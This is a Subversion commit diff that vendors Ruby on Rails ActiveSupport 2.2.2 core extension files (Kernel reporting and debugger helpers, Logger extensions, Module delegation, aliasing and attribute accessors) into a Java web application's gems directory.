Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/debugger.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/debugger.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/debugger.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+module Kernel
+  unless respond_to?(:debugger)
+    # Starts a debugging session if ruby-debug has been loaded (call script/server --debugger to do load it).
+    def debugger
+      Rails.logger.info "\n***** Debugger requested, but was not available: Start server with --debugger to enable *****\n"
+    end
+  end
+
+  def breakpoint
+    Rails.logger.info "\n***** The 'breakpoint' command has been renamed 'debugger' -- please change *****\n"
+    debugger
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/reporting.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/reporting.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/reporting.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+module Kernel
+  # Sets $VERBOSE to nil for the duration of the block and back to its original value afterwards.
+  #
+  #   silence_warnings do
+  #     value = noisy_call # no warning voiced
+  #   end
+  #
+  #   noisy_call # warning voiced
+  def silence_warnings
+    old_verbose, $VERBOSE = $VERBOSE, nil
+    yield
+  ensure
+    $VERBOSE = old_verbose
+  end
+
+  # Sets $VERBOSE to true for the duration of the block and back to its original value afterwards.
+  def enable_warnings
+    old_verbose, $VERBOSE = $VERBOSE, true
+    yield
+  ensure
+    $VERBOSE = old_verbose
+  end
+
+  # For compatibility
+  def silence_stderr #:nodoc:
+    silence_stream(STDERR) { yield }
+  end
+
+  # Silences any stream for the duration of the block.
+  #
+  #   silence_stream(STDOUT) do
+  #     puts 'This will never be seen'
+  #   end
+  #
+  #   puts 'But this will'
+  def silence_stream(stream)
+    old_stream = stream.dup
+    stream.reopen(RUBY_PLATFORM =~ /mswin/ ? 'NUL:' : '/dev/null')
+    stream.sync = true
+    yield
+  ensure
+    stream.reopen(old_stream)
+  end
+
+  # Blocks and ignores any exception passed as argument if raised within the block.
+  #
+  #   suppress(ZeroDivisionError) do
+  #     1/0
+  #     puts "This code is NOT reached"
+  #   end
+  #
+  #   puts "This code gets executed and nothing related to ZeroDivisionError was seen"
+  def suppress(*exception_classes)
+    begin yield
+    rescue Exception => e
+      raise unless exception_classes.any? { |cls| e.kind_of?(cls) }
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/requires.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/requires.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/requires.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+module Kernel
+  # Require a library with fallback to RubyGems.  Warnings during library
+  # loading are silenced to increase signal/noise for application warnings.
+  def require_library_or_gem(library_name)
+    silence_warnings do
+      begin
+        require library_name
+      rescue LoadError => cannot_require
+        # 1. Requiring the module is unsuccessful, maybe it's a gem and nobody required rubygems yet. Try.
+        begin
+          require 'rubygems'
+        rescue LoadError => rubygems_not_installed
+          raise cannot_require
+        end
+        # 2. Rubygems is installed and loaded. Try to load the library again
+        begin
+          require library_name
+        rescue LoadError => gem_not_installed
+          raise cannot_require
+        end
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/kernel/daemonizing'
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/core_ext/kernel/agnostics'
+require 'active_support/core_ext/kernel/requires'
+require 'active_support/core_ext/kernel/debugger'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/load_error.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/load_error.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/load_error.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,38 @@
+class MissingSourceFile < LoadError #:nodoc:
+  attr_reader :path
+  def initialize(message, path)
+    super(message)
+    @path = path
+  end
+
+  def is_missing?(path)
+    path.gsub(/\.rb$/, '') == self.path.gsub(/\.rb$/, '')
+  end
+
+  def self.from_message(message)
+    REGEXPS.each do |regexp, capture|
+      match = regexp.match(message)
+      return MissingSourceFile.new(message, match[capture]) unless match.nil?
+    end
+    nil
+  end
+
+  REGEXPS = [
+    [/^no such file to load -- (.+)$/i, 1],
+    [/^Missing \w+ (file\s*)?([^\s]+.rb)$/i, 2],
+    [/^Missing API definition file in (.+)$/i, 1]
+  ] unless defined?(REGEXPS)
+end
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module LoadErrorExtensions #:nodoc:
+      module LoadErrorClassMethods #:nodoc:
+        def new(*args)
+          (self == LoadError && MissingSourceFile.from_message(args.first)) || super
+        end
+      end
+      ::LoadError.extend(LoadErrorClassMethods)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/logger.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/logger.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/logger.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,143 @@
+# Adds the 'around_level' method to Logger.
+
+class Logger
+  def self.define_around_helper(level)
+    module_eval <<-end_eval
+      def around_#{level}(before_message, after_message, &block)
+        self.#{level}(before_message)
+        return_value = block.call(self)
+        self.#{level}(after_message)
+        return return_value
+      end
+    end_eval
+  end
+  [:debug, :info, :error, :fatal].each {|level| define_around_helper(level) }
+end
+
+
+require 'logger'
+
+# Extensions to the built in Ruby logger.
+#
+# If you want to use the default log formatter as defined in the Ruby core, then you
+# will need to set the formatter for the logger as in:
+#
+#   logger.formatter = Formatter.new
+#
+# You can then specify the datetime format, for example:
+#
+#   logger.datetime_format = "%Y-%m-%d"
+#
+# Note: This logger is deprecated in favor of ActiveSupport::BufferedLogger
+class Logger
+  # Set to false to disable the silencer
+  cattr_accessor :silencer
+  self.silencer = true
+
+  # Silences the logger for the duration of the block.
+  def silence(temporary_level = Logger::ERROR)
+    if silencer
+      begin
+        old_logger_level, self.level = level, temporary_level
+        yield self
+      ensure
+        self.level = old_logger_level
+      end
+    else
+      yield self
+    end
+  end
+
+  alias :old_datetime_format= :datetime_format=
+  # Logging date-time format (string passed to +strftime+). Ignored if the formatter
+  # does not respond to datetime_format=.
+  def datetime_format=(datetime_format)
+    formatter.datetime_format = datetime_format if formatter.respond_to?(:datetime_format=)
+  end
+
+  alias :old_datetime_format :datetime_format
+  # Get the logging datetime format. Returns nil if the formatter does not support
+  # datetime formatting.
+  def datetime_format
+    formatter.datetime_format if formatter.respond_to?(:datetime_format)
+  end
+
+  alias :old_formatter :formatter if method_defined?(:formatter)
+  # Get the current formatter. The default formatter is a SimpleFormatter which only
+  # displays the log message
+  def formatter
+    @formatter ||= SimpleFormatter.new
+  end
+
+  unless const_defined? :Formatter
+    class Formatter
+      Format = "%s, [%s#%d] %5s -- %s: %s\n"
+
+      attr_accessor :datetime_format
+
+      def initialize
+        @datetime_format = nil
+      end
+
+      def call(severity, time, progname, msg)
+        Format % [severity[0..0], format_datetime(time), $$, severity, progname,
+        msg2str(msg)]
+      end
+
+      private
+        def format_datetime(time)
+          if @datetime_format.nil?
+            time.strftime("%Y-%m-%dT%H:%M:%S.") << "%06d " % time.usec
+          else
+            time.strftime(@datetime_format)
+          end
+        end
+
+        def msg2str(msg)
+          case msg
+          when ::String
+            msg
+          when ::Exception
+            "#{ msg.message } (#{ msg.class })\n" <<
+            (msg.backtrace || []).join("\n")
+          else
+            msg.inspect
+          end
+        end
+    end
+  end
+
+  # Simple formatter which only displays the message.
+  class SimpleFormatter < Logger::Formatter
+    # This method is invoked when a log event occurs
+    def call(severity, timestamp, progname, msg)
+      "#{String === msg ? msg : msg.inspect}\n"
+    end
+  end
+
+  private
+    alias old_format_message format_message
+
+    # Ruby 1.8.3 transposed the msg and progname arguments to format_message.
+    # We can't test RUBY_VERSION because some distributions don't keep Ruby
+    # and its standard library in sync, leading to installations of Ruby 1.8.2
+    # with Logger from 1.8.3 and vice versa.
+    if method_defined?(:formatter=)
+      def format_message(severity, timestamp, progname, msg)
+        formatter.call(severity, timestamp, progname, msg)
+      end
+    else
+      def format_message(severity, timestamp, msg, progname)
+        formatter.call(severity, timestamp, progname, msg)
+      end
+
+      attr_writer :formatter
+      public :formatter=
+
+      alias old_format_datetime format_datetime
+      def format_datetime(datetime) datetime end
+
+      alias old_msg2str msg2str
+      def msg2str(msg) msg end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/aliasing.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/aliasing.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/aliasing.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,74 @@
+module ActiveSupport
+  module CoreExtensions
+    module Module
+      # Encapsulates the common pattern of:
+      #
+      #   alias_method :foo_without_feature, :foo
+      #   alias_method :foo, :foo_with_feature
+      #
+      # With this, you simply do:
+      #
+      #   alias_method_chain :foo, :feature
+      #
+      # And both aliases are set up for you.
+      #
+      # Query and bang methods (foo?, foo!) keep the same punctuation:
+      #
+      #   alias_method_chain :foo?, :feature
+      #
+      # is equivalent to
+      #
+      #   alias_method :foo_without_feature?, :foo?
+      #   alias_method :foo?, :foo_with_feature?
+      #
+      # so you can safely chain foo, foo?, and foo! with the same feature.
+      def alias_method_chain(target, feature)
+        # Strip out punctuation on predicates or bang methods since
+        # e.g. target?_without_feature is not a valid method name.
+        aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1
+        yield(aliased_target, punctuation) if block_given?
+
+        with_method, without_method = "#{aliased_target}_with_#{feature}#{punctuation}", "#{aliased_target}_without_#{feature}#{punctuation}"
+
+        alias_method without_method, target
+        alias_method target, with_method
+
+        case
+          when public_method_defined?(without_method)
+            public target
+          when protected_method_defined?(without_method)
+            protected target
+          when private_method_defined?(without_method)
+            private target
+        end
+      end
+
+      # Allows you to make aliases for attributes, which includes
+      # getter, setter, and query methods.
+      #
+      # Example:
+      #
+      #   class Content < ActiveRecord::Base
+      #     # has a title attribute
+      #   end
+      #
+      #   class Email < Content
+      #     alias_attribute :subject, :title
+      #   end
+      #
+      #   e = Email.find(1)
+      #   e.title    # => "Superstars"
+      #   e.subject  # => "Superstars"
+      #   e.subject? # => true
+      #   e.subject = "Megastars"
+      #   e.title    # => "Megastars"
+      def alias_attribute(new_name, old_name)
+        module_eval <<-STR, __FILE__, __LINE__+1
+          def #{new_name}; self.#{old_name}; end
+          def #{new_name}?; self.#{old_name}?; end
+          def #{new_name}=(v); self.#{old_name} = v; end
+        STR
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/attr_accessor_with_default.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/attr_accessor_with_default.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/attr_accessor_with_default.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,31 @@
+class Module
+  # Declare an attribute accessor with an initial default return value.
+  #
+  # To give attribute <tt>:age</tt> the initial value <tt>25</tt>:
+  #  
+  #   class Person
+  #     attr_accessor_with_default :age, 25
+  #   end
+  #
+  #   some_person.age
+  #   => 25
+  #   some_person.age = 26
+  #   some_person.age
+  #   => 26
+  #
+  # To give attribute <tt>:element_name</tt> a dynamic default value, evaluated
+  # in scope of self:
+  #
+  #   attr_accessor_with_default(:element_name) { name.underscore } 
+  #
+  def attr_accessor_with_default(sym, default = nil, &block)
+    raise 'Default value or block required' unless !default.nil? || block
+    define_method(sym, block_given? ? block : Proc.new { default })
+    module_eval(<<-EVAL, __FILE__, __LINE__)
+      def #{sym}=(value)
+        class << self; attr_reader :#{sym} end
+        @#{sym} = value
+      end
+    EVAL
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/attr_internal.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/attr_internal.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/attr_internal.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+class Module
+  # Declares an attribute reader backed by an internally-named instance variable.
+  def attr_internal_reader(*attrs)
+    attrs.each do |attr|
+      module_eval "def #{attr}() #{attr_internal_ivar_name(attr)} end"
+    end
+  end
+
+  # Declares an attribute writer backed by an internally-named instance variable.
+  def attr_internal_writer(*attrs)
+    attrs.each do |attr|
+      module_eval "def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end"
+    end
+  end
+
+  # Declares an attribute reader and writer backed by an internally-named instance
+  # variable.
+  def attr_internal_accessor(*attrs)
+    attr_internal_reader(*attrs)
+    attr_internal_writer(*attrs)
+  end
+
+  alias_method :attr_internal, :attr_internal_accessor
+
+  private
+    mattr_accessor :attr_internal_naming_format
+    self.attr_internal_naming_format = '@_%s'
+
+    def attr_internal_ivar_name(attr)
+      attr_internal_naming_format % attr
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/attribute_accessors.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/attribute_accessors.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/attribute_accessors.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,58 @@
+# Extends the module object with module and instance accessors for class attributes, 
+# just like the native attr* accessors for instance attributes.
+#
+#  module AppConfiguration
+#    mattr_accessor :google_api_key
+#    self.google_api_key = "123456789"
+#
+#    mattr_accessor :paypal_url
+#    self.paypal_url = "www.sandbox.paypal.com"
+#  end
+#
+#  AppConfiguration.google_api_key = "overriding the api key!"
+class Module
+  def mattr_reader(*syms)
+    syms.each do |sym|
+      next if sym.is_a?(Hash)
+      class_eval(<<-EOS, __FILE__, __LINE__)
+        unless defined? @@#{sym}
+          @@#{sym} = nil
+        end
+        
+        def self.#{sym}
+          @@#{sym}
+        end
+
+        def #{sym}
+          @@#{sym}
+        end
+      EOS
+    end
+  end
+  
+  def mattr_writer(*syms)
+    options = syms.extract_options!
+    syms.each do |sym|
+      class_eval(<<-EOS, __FILE__, __LINE__)
+        unless defined? @@#{sym}
+          @@#{sym} = nil
+        end
+        
+        def self.#{sym}=(obj)
+          @@#{sym} = obj
+        end
+        
+        #{"
+        def #{sym}=(obj)
+          @@#{sym} = obj
+        end
+        " unless options[:instance_writer] == false }
+      EOS
+    end
+  end
+  
+  def mattr_accessor(*syms)
+    mattr_reader(*syms)
+    mattr_writer(*syms)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/delegation.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/delegation.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/delegation.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,95 @@
+class Module
+  # Provides a delegate class method to easily expose contained objects' methods
+  # as your own. Pass one or more methods (specified as symbols or strings)
+  # and the name of the target object as the final <tt>:to</tt> option (also a symbol
+  # or string).  At least one method and the <tt>:to</tt> option are required.
+  #
+  # Delegation is particularly useful with Active Record associations:
+  #
+  #   class Greeter < ActiveRecord::Base
+  #     def hello()   "hello"   end
+  #     def goodbye() "goodbye" end
+  #   end
+  #
+  #   class Foo < ActiveRecord::Base
+  #     belongs_to :greeter
+  #     delegate :hello, :to => :greeter
+  #   end
+  #
+  #   Foo.new.hello   # => "hello"
+  #   Foo.new.goodbye # => NoMethodError: undefined method `goodbye' for #<Foo:0x1af30c>
+  #
+  # Multiple delegates to the same target are allowed:
+  #
+  #   class Foo < ActiveRecord::Base
+  #     belongs_to :greeter
+  #     delegate :hello, :goodbye, :to => :greeter
+  #   end
+  #
+  #   Foo.new.goodbye # => "goodbye"
+  #
+  # Methods can be delegated to instance variables, class variables, or constants
+  # by providing them as a symbols:
+  #
+  #   class Foo
+  #     CONSTANT_ARRAY = [0,1,2,3]
+  #     @@class_array  = [4,5,6,7]
+  #     
+  #     def initialize
+  #       @instance_array = [8,9,10,11]
+  #     end
+  #     delegate :sum, :to => :CONSTANT_ARRAY
+  #     delegate :min, :to => :@@class_array
+  #     delegate :max, :to => :@instance_array
+  #   end
+  #
+  #   Foo.new.sum # => 6
+  #   Foo.new.min # => 4
+  #   Foo.new.max # => 11
+  #
+  # Delegates can optionally be prefixed using the <tt>:prefix</tt> option. If the value
+  # is <tt>true</tt>, the delegate methods are prefixed with the name of the object being
+  # delegated to.
+  #
+  #   Person = Struct.new(:name, :address)
+  #
+  #   class Invoice < Struct.new(:client)
+  #     delegate :name, :address, :to => :client, :prefix => true
+  #   end
+  #
+  #   john_doe = Person.new("John Doe", "Vimmersvej 13")
+  #   invoice = Invoice.new(john_doe)
+  #   invoice.client_name    # => "John Doe"
+  #   invoice.client_address # => "Vimmersvej 13"
+  #
+  # It is also possible to supply a custom prefix.
+  #
+  #   class Invoice < Struct.new(:client)
+  #     delegate :name, :address, :to => :client, :prefix => :customer
+  #   end
+  #
+  #   invoice = Invoice.new(john_doe)
+  #   invoice.customer_name    # => "John Doe"
+  #   invoice.customer_address # => "Vimmersvej 13"
+  #
+  def delegate(*methods)
+    options = methods.pop
+    unless options.is_a?(Hash) && to = options[:to]
+      raise ArgumentError, "Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, :to => :greeter)."
+    end
+
+    if options[:prefix] == true && options[:to].to_s =~ /^[^a-z_]/
+      raise ArgumentError, "Can only automatically set the delegation prefix when delegating to a method."
+    end
+
+    prefix = options[:prefix] && "#{options[:prefix] == true ? to : options[:prefix]}_"
+
+    methods.each do |method|
+      module_eval(<<-EOS, "(__DELEGATION__)", 1)
+        def #{prefix}#{method}(*args, &block)
+          #{to}.__send__(#{method.inspect}, *args, &block)
+        end
+      EOS
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/inclusion.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/inclusion.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/inclusion.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+class Module
+  # Returns the classes in the current ObjectSpace where this module has been
+  # mixed in according to Module#included_modules.
+  #
+  #   module M
+  #   end
+  #   
+  #   module N
+  #     include M
+  #   end
+  #   
+  #   class C
+  #     include M
+  #   end
+  #   
+  #   class D < C
+  #   end
+  #
+  #   p M.included_in_classes # => [C, D]
+  #
+  def included_in_classes
+    classes = []
+    ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) }
+
+    classes.reverse.inject([]) do |unique_classes, klass| 
+      unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s)
+      unique_classes
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/introspection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/introspection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/introspection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,90 @@
+module ActiveSupport
+  module CoreExtensions
+    module Module
+      # Returns the name of the module containing this one.
+      #
+      #   p M::N.parent_name # => "M"
+      def parent_name
+        unless defined? @parent_name
+          @parent_name = name =~ /::[^:]+\Z/ ? $`.freeze : nil
+        end
+        @parent_name
+      end
+
+      # Returns the module which contains this one according to its name.
+      #
+      #   module M
+      #     module N
+      #     end
+      #   end
+      #   X = M::N
+      #
+      #   p M::N.parent # => M
+      #   p X.parent    # => M
+      #
+      # The parent of top-level and anonymous modules is Object.
+      #
+      #   p M.parent          # => Object
+      #   p Module.new.parent # => Object
+      #
+      def parent
+        parent_name ? parent_name.constantize : Object
+      end
+
+      # Returns all the parents of this module according to its name, ordered from
+      # nested outwards. The receiver is not contained within the result.
+      #
+      #   module M
+      #     module N
+      #     end
+      #   end
+      #   X = M::N
+      #
+      #   p M.parents    # => [Object]
+      #   p M::N.parents # => [M, Object]
+      #   p X.parents    # => [M, Object]
+      #
+      def parents
+        parents = []
+        if parent_name
+          parts = parent_name.split('::')
+          until parts.empty?
+            parents << (parts * '::').constantize
+            parts.pop
+          end
+        end
+        parents << Object unless parents.include? Object
+        parents
+      end
+
+      if RUBY_VERSION < '1.9'
+        # Returns the constants that have been defined locally by this object and
+        # not in an ancestor. This method is exact if running under Ruby 1.9. In
+        # previous versions it may miss some constants if their definition in some
+        # ancestor is identical to their definition in the receiver.
+        def local_constants
+          inherited = {}
+
+          ancestors.each do |anc|
+            next if anc == self
+            anc.constants.each { |const| inherited[const] = anc.const_get(const) }
+          end
+
+          constants.select do |const|
+            !inherited.key?(const) || inherited[const].object_id != const_get(const).object_id
+          end
+        end
+      else
+        def local_constants #:nodoc:
+          constants(false)
+        end
+      end
+
+      # Returns the names of the constants defined locally rather than the
+      # constants themselves. See <tt>local_constants</tt>.
+      def local_constant_names
+        local_constants.map { |c| c.to_s }
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/loading.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/loading.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/loading.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+class Module
+  # Returns String#underscore applied to the module name minus trailing classes.
+  #
+  #   ActiveRecord.as_load_path               # => "active_record"
+  #   ActiveRecord::Associations.as_load_path # => "active_record/associations"
+  #   ActiveRecord::Base.as_load_path         # => "active_record" (Base is a class)
+  #
+  # The Kernel module gives an empty string by definition.
+  #
+  #   Kernel.as_load_path # => ""
+  #   Math.as_load_path   # => "math"
+  def as_load_path
+    if self == Object || self == Kernel
+      ''
+    elsif is_a? Class
+      parent == self ? '' : parent.as_load_path
+    else
+      name.split('::').collect do |word|
+        word.underscore
+      end * '/'
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/model_naming.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/model_naming.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/model_naming.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+module ActiveSupport
+  class ModelName < String
+    attr_reader :singular, :plural, :cache_key, :partial_path
+
+    def initialize(name)
+      super
+      @singular = underscore.tr('/', '_').freeze
+      @plural = @singular.pluralize.freeze
+      @cache_key = tableize.freeze
+      @partial_path = "#{@cache_key}/#{demodulize.underscore}".freeze
+    end
+  end
+
+  module CoreExtensions
+    module Module
+      # Returns an ActiveSupport::ModelName object for module. It can be
+      # used to retrieve all kinds of naming-related information.
+      def model_name
+        @model_name ||= ModelName.new(name)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/synchronization.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/synchronization.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module/synchronization.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+class Module
+  # Synchronize access around a method, delegating synchronization to a
+  # particular mutex. A mutex (either a Mutex, or any object that responds to 
+  # #synchronize and yields to a block) must be provided as a final :with option.
+  # The :with option should be a symbol or string, and can represent a method, 
+  # constant, or instance or class variable.
+  # Example:
+  #   class SharedCache
+  #     @@lock = Mutex.new
+  #     def expire
+  #       ...
+  #     end
+  #     synchronize :expire, :with => :@@lock
+  #   end
+  def synchronize(*methods)
+    options = methods.extract_options!
+    unless options.is_a?(Hash) && with = options[:with]
+      raise ArgumentError, "Synchronization needs a mutex. Supply an options hash with a :with key as the last argument (e.g. synchronize :hello, :with => :@mutex)."
+    end
+
+    methods.each do |method|
+      aliased_method, punctuation = method.to_s.sub(/([?!=])$/, ''), $1
+
+      if method_defined?("#{aliased_method}_without_synchronization#{punctuation}")
+        raise ArgumentError, "#{method} is already synchronized. Double synchronization is not currently supported."
+      end
+
+      module_eval(<<-EOS, __FILE__, __LINE__)
+        def #{aliased_method}_with_synchronization#{punctuation}(*args, &block)
+          #{with}.synchronize do
+            #{aliased_method}_without_synchronization#{punctuation}(*args, &block)
+          end
+        end
+      EOS
+
+      alias_method_chain method, :synchronization
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+require 'active_support/core_ext/module/inclusion'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/attr_accessor_with_default'
+require 'active_support/core_ext/module/delegation'
+require 'active_support/core_ext/module/introspection'
+require 'active_support/core_ext/module/loading'
+require 'active_support/core_ext/module/aliasing'
+require 'active_support/core_ext/module/model_naming'
+require 'active_support/core_ext/module/synchronization'
+
+module ActiveSupport
+  module CoreExtensions
+    # Various extensions for the Ruby core Module class.
+    module Module
+      # Nothing here. Only defined for API documentation purposes.
+    end
+  end
+end
+
+class Module
+  include ActiveSupport::CoreExtensions::Module
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/name_error.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/name_error.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/name_error.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+# Add a +missing_name+ method to NameError instances.
+class NameError #:nodoc:  
+  # Add a method to obtain the missing name from a NameError.
+  def missing_name
+    $1 if /((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/ =~ message
+  end
+  
+  # Was this exception raised because the given name was missing?
+  def missing_name?(name)
+    if name.is_a? Symbol
+      last_name = (missing_name || '').split('::').last
+      last_name == name.to_s
+    else
+      missing_name == name.to_s
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric/bytes.rb
===================================================================
